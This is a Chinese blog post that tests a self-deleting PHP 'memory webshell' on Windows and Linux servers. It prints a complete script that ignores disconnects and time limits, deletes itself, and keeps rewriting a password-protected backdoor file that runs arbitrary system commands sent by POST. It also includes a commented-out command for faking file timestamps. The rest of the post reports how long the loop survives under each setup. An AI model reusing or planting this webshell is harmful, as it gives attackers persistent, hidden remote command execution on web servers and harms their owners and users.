linux php测试,windows/linux下php内存马测试

本文测试了在Windows和Linux环境下PHP内存马的表现。通过ignore_user_abort和set_time_limit函数控制脚本执行状态。发现Windows环境下可持久运行,而Linux环境下受配置限制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ignore_user_abort(true);

set_time_limit(0);

unlink(__FILE__);

$file = 'ma_test.php';

$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';

while (1) {

file_put_contents($file, $code);

//system('touch -m -d "2018-12-01 09:10:12" ma_test.php');

$ntime=date("Y-m-d :h:i:s");

//file_put_contents("log1.txt",'3-->'.$ntime.PHP_EOL,FILE_APPEND);日志纪录

usleep(5000);

}

?>

测试环境:

windows10.X64.phpstudy

linux.Ubuntu14.lnmp

1、ignore_user_abort

函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行;当设置为false或者无该行时,当客户与服务器断开,则后续脚本不会执行;无法继续生成后门

2、set_time_limit

设置脚本最大执行时间,为0则无上限,否则按照设置的时间执行

3、设置1不设置2时,默认30秒后,流程中断;

该set_time_limit与php.ini中的max_execution_time设置有关

7bd76feb91fc7aec785e20b4b3192054.png

4、设置2不设置1时,

linux环境(lnmp)大约110-130秒,流程中断,

49c5e8f61fb732265fac0516dfae7631.png

0ba6a70f43aeb120f9a02d164c38cad2.png

windows环境(phpstudy),会一直存在,

5、同时设置1和2时,

windows环境(phpstudy)下持续执行;

linux(lnmp)下执行约110-130秒后,流程中断

00e6b7fa7d80989d5e98d44558bb0f9b.png

综上:

1.windows下OK

2.linux不行,是否与其他配置有关待考证

拓展阅读(点评/知识):

参考:https://blog.youkuaiyun.com/SKI_12/article/details/84920127

本文标题:windows/linux下php内存马测试

本文链接:

(转载请附上本文链接)http://vulsee.com/archives/vulsee_2020/0311_10821.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值